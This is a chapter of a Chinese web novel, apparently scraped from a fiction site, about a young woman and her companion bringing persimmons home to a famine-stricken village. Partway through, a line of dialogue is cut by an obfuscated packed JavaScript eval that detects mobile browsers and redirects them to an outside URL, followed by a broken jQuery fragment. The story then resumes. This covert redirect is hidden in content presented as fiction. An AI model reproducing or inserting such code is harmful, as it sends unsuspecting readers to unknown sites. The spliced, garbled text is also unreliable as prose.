文趣网 > 都市小说 > 侯府表姑娘乱世逃荒记 > 20. 第 20 章
    沈竹念今日穿了身绣花裙衫,纤腰盈盈一握,心道要是让箫承渊背下山,让桑榆村八卦妇女老妪看到,肯定要嚼舌根子。

    虽然她对村人不熟,但是哪都有嘴碎爱挑事的长舌妇。

    沈竹念犹豫片刻,一只脚踩到地面,单脚蹦了蹦,觉得自己很行,对着箫承渊逞强摆手,“不用,我自己能蹦。”

    箫承渊回身,淡淡道:“等你蹦哒回寺庙,天都黑了。”

    “今晚咱们回不去,明早秋露又要抱着你哭成花脸猫。”

    “.......”

    “行罢,那到了巷子口我自己走。”

    “也不能扶。”

    箫承渊点头蹲下身,沈竹念觉得他说的有道理,老实爬上去,一股香软甜润的栀子花香萦绕在鼻尖,若有似无,清甜撩人。

    箫承渊喉结无声的动了动,这是阿念平日最爱用的香胰子味,他背着沈竹念起身往山下走,

    一直走了半柱香功夫才走到寺庙门口,沈竹念一路上趴在箫承渊肩膀上,这家伙背上硬邦邦的,总算能下来了。

    沈竹念不舒服,箫承渊也没好到哪去,主要是阿念老在背上像只猴儿挪来动去,他很想学着陆三嫂打小石头屁股那样,轻拍下她臀,叫她听话点。

    可惜箫承渊不敢,若是这样做了,阿念定会跳下他的背,赏一巴掌骂他一句傻变态,然后再也不理,单脚蹦跶下山。

    虽说才搬来桑榆村才一两日,萧承渊耳濡目染,听到村里女郎跟未婚夫在一起,偶尔会娇羞骂一句坏蛋。

    陆三哥说那是姑娘家面对心上人的甜言软语,以后等他有了媳妇儿就懂了。

    阿念跟那些姑娘不同,不会骂他坏蛋,只会骂傻牛。

    箫承渊扶着沈竹念回了后院,这会儿临到中午,日晒当头,二人歇了会儿,到了吃午食的点儿了。

    桑峪村村民大都一天吃两顿,早食晚食,中午喝碗水就当饱肚,沈竹念他们在山上可是一天三餐顿顿不落。

    寺庙后院都搬空了,箫承渊拎着只破陶罐去井台打水,二人洗了手,沈竹念笑眯眯掏出包用麻绳捆绑的碧绿荷叶,招呼他吃饭。

    “这是何物?”

    箫承渊目光落在鼓囊囊的荷叶包上,“饼?”

    “不是饼,是肉夹馍。”

    沈竹念打开荷叶,递过去一个,“尝尝。”

    箫承渊挑了一下眉,拈起浅尝,此饼外酥里软,内里夹着肥瘦相间的五花肉,咬一口满口生香。

    “香不香。”

    沈竹念弯眸咬了一大口,腮帮子鼓鼓的,箫承渊点头,“好吃。”

    “这该不是最美味的,周嫂子说村后有片碧绿的荷塘,一眼望不到边。夏日村人时常去挖藕摘荷,可惜现在没荷花了,咱们回去摘些荷叶,回来做荷叶鸡吃,蒸出来的鸡肉带着荷叶的清香,那才香呢。”

    沈竹念一说起美食就啰里八嗦像个小老太婆,箫承渊半点儿没觉得烦。

    吃了肉夹馍,又吃了些饼子,二人喝了山泉水,箫承渊去后山把三筐柿子拉回寺庙,临走前他们只是将寺庙门虚掩。

    沈竹念虔诚对着佛祖拜了又拜,奉了瓜果香烛,当初走投无路时,是这座小寺成了依靠,如今归去,也盼佛祖能庇护后来者。

    骡车驶过崎岖山路,又走了半个时辰临近浣溪镇,一切豁然开朗,运河泛着粼粼波光,两岸桑树连绵,路上恰好遇见去镇上打零工的陆三郎。

    陆三郎扛了一上午麻袋才赚了十二文钱,早上出门只喝了碗稀粥,中午没舍得掏钱买两个饼子,这会儿脸色虚白,走路都没力气。

    沈竹念瞧着不对,赶紧叫萧承渊拿剩下的饼子。

    陆三郎狼吞虎咽吃光饼,接着吃了三个软柿子才缓过来,“兄弟妹子,又让你们见笑了。”

    “三哥哪里的话,咱们还用见外,正好一道送你家去。”

    陆三郎便上了骡车,瞧着三大筐柿子揉了好几次眼,乖乖,这是哪来这么多柿子!

    要知道这可是灾年,听说外乡逃难的难民一波一波涌来,那些战乱地方路上能吃的野菜树皮都给扒光了,浣溪镇所在的郡算安稳,但是树上的果子是万万留不过秋的,除非有不要命的去深山老林,不然哪能摘得如此多柿子。

    不过萧兄弟会武,他有本事连山上野彘都能制服,曲曲野柿子也不在话下。

    骡子摇摇晃晃走到桑榆村,村口桑树下,几个小娃儿拿着根柳条,骑着几条狗鸡飞狗跳满村窜。

    “驾驾驾!”

    “大黄将军,杀过去!”

    一群熊孩子里,陆家的三蛋骑在一条大黄狗背上,两条腿夹着它的肚子,小石头哇哇叫着跟在后头。

    大蛋、二蛋撅着腚趴在地上斗蛐蛐,陆嫂子出门找,见到远处的骡车,三蛋突然对着小石头咧嘴一乐儿。

    “招妹儿,咱爹回来了。”

    小石头最不喜欢人家叫他招妹儿,登时像只生气小河豚,呲着小牙凶道,“三哥坏!我不叫招妹!”

    爹喊他石头,还有娘、爷奶、漂亮姨姨都叫他小石头。

    他就是小石头!

    不叫招妹儿!

    三蛋挠挠头,心里想爹娘没事就喊小弟招妹儿,可盼着能有个小闺女,不过这话不能讲,只敷衍,“好,哥叫错了,下次不喊你招妹儿了。”

    嘿嘿,下次还敢!

    小石头这才不呜呜生气了,骡子车碌碌驶过来,车上三筐红艳艳柿子,遮都遮不住,看喜人。

    一群小娃儿含着手指咽口水,想围过来又怕那个赶车的冷脸帅叔叔。

    只有陆家几个蛋呼呼跑过来,抱着陆三郎喊爹。

    陆三郎脸上带笑儿,挨个抱儿子,陆三嫂闻声而来,瞧见沈竹念给几个娃儿塞柿子,瞥见大蛋刚换上的草鞋脚趾头露在外头,骂了一声,“昨儿才编好的鞋又给你踢破了。”

    “妹子别惯着几个兔崽子!”

    大蛋眼瞅着要挨揍,立马嗦着柿子溜了。

    陆三嫂抓不住老大,一把揪住三蛋耳朵。

    “哎哟哎哟,娘饶命!”

    “爹救命哇!”

    三蛋哇哇求饶命,陆三郎转着圈儿一会儿看天一会儿望地就跟没听见似的,沈竹念看得直乐呵,萧承渊赶着骡子,余光一直照着她。驴车颠过一道田埂时,沈竹念身子晃了一下,他胳膊虚虚挡在她腰间。

    待沈竹念坐稳了又不动声色地收回来,仿佛什么都没发生过。

    沈竹念觉得有点不好意思,剩下的路乖巧如兔。

    骡车在青砖小院前停下,萧承渊果真没来背沈竹念,就这么看着她自个儿蹦跶下车,秋露穿这件葱白襦裙正好拎着水桶过来,吓得丢掉桶过来,“姑娘,咋啦?”

    沈竹念浑不在意,“没事,在山上崴了脚而已,没有那么娇气。”

    秋露依旧不放心,“家里正好有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671494|206050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跌打酒,回去抹一抹。”

    沈竹念依她,回去抹了跌打酒,萧承渊将三大筐橙红诱人的柿子抬回家。

    三筐柿子估摸着有一百多斤,有青涩的,有软的,他们三个挑不完,陆三嫂一家也来帮忙挑拣,满院子散发着清甜的香气。

    沈竹念剥着一颗熟透软柿子,吃起来软绵绵的甜。

    陆三嫂过来问,“妹子这么多柿子也吃不完,你是想全做成柿饼?”

    沈竹念掏出手帕擦了擦黏糊糊的手,全做成柿饼是不现实的,一来家里没有那么大地方,巴掌大小院哪里晒得开。

    二来做柿饼要全部削皮,一百多斤削掉皮手都要废掉,像这种熟透了的,一剥开就得赶紧吃。

    那些还青涩、没熟透的柿子呢,没法吃,吃一口涩得倒牙。

    秋露也是愁,蹙起秀气的眉毛,“姑娘,不若咱们吃一半晒一半?”

    沈竹念摇头,“太多了吃不完,不若拿去镇上卖,能卖几斤是几斤。”

    陆三嫂觉得是个办法,现在秋日,往年镇上瓜果不缺,今年却不一样,富户庄子叫灾民抢了不少,自家吃的不够便派奴仆到村镇采买。

    沈竹念问三嫂家中养蚕利润丰不丰厚。

    陆三嫂笑:“养了几筐蚕,不值当什么,镇上有的是老爷们大规模养蚕,我家一年到头种稻、养蚕捕猎也就能卖个二三两银子,勉强度日罢了。这不家里四个小子,衣裳吃喝都要钱,出门不是穿草鞋,就是光脚丫子满地跑的时候多。”

    沈竹念:“若这样,嫂子这几天闲来咱们一同去镇上卖柿子,到时候给嫂子一份工钱如何。”

    陆三嫂捧着银子愣了好一会儿,眼圈倏地泛了红,别过脸去用袖子揩了一下,才转过来说:“妹子,你瞧得起嫂子,嫂子就跟着你去!”

    “嫂子别这么说。”沈竹念笑了笑,“往后咱们邻居邻居的,针头线脑小事一堆少不了要常叨扰,日子还长着呢。”

    不说别的,屋里床沿搁着一双纳了一半的鞋底,针脚粗糙,实在是拿不出手给铁牛穿。

    前头在陆家,她看着陆三嫂纳鞋底针脚密实匀称,拇指肚大小的针眼排成鱼鳞纹,想厚着脸皮央嫂子帮着纳几双鞋底。

    往后天冷了,还要做棉衣弹棉花絮被子,单靠秋露那能把大头针掉在被子里的缺心眼丫头,实在很靠不住。

    陆三嫂爽快答应,乡下婆娘没啥能耐,帮着纳鞋底还是可以的。

    下午陆三郎拉着稻草来帮着修后院窝棚。

    萧承渊踩在梯子上换茅草,陆三郎在底下递草绳捆起来,沈竹念和陆三嫂在院子里挑品相好的柿子,秋露带着四个小子去河边洗桑叶了。日光暖融融的,院子里一时只有茅草簌簌的声响。

    陆三嫂擦了擦手,想了想还是忍不住道:“妹子,嫂子给你提个醒儿,咱村民风淳朴,只村东头有个杜婆子,这是个混不吝的老婆子,难缠又爱占便宜的,嘴巴厉害最爱贴墙听人家墙角,年轻时候当过媒婆,十里八乡没有她不爱打听的事儿。她若来串门,你们只管装聋作哑,她问几回没趣也就不问了。”

    沈竹念点头,正要说话,头顶忽然传来“咚”的一声,两人抬头,只见萧承渊站在屋顶上。

    小院外不知何时有个贴墙角偷听的老婆子,想必应该是大名鼎鼎的杜婆子。

    萧承渊冷眼看着,从屋顶上捡了颗小石子,屈指一弹。石子“嗖”地砸中杜婆子膝盖窝儿。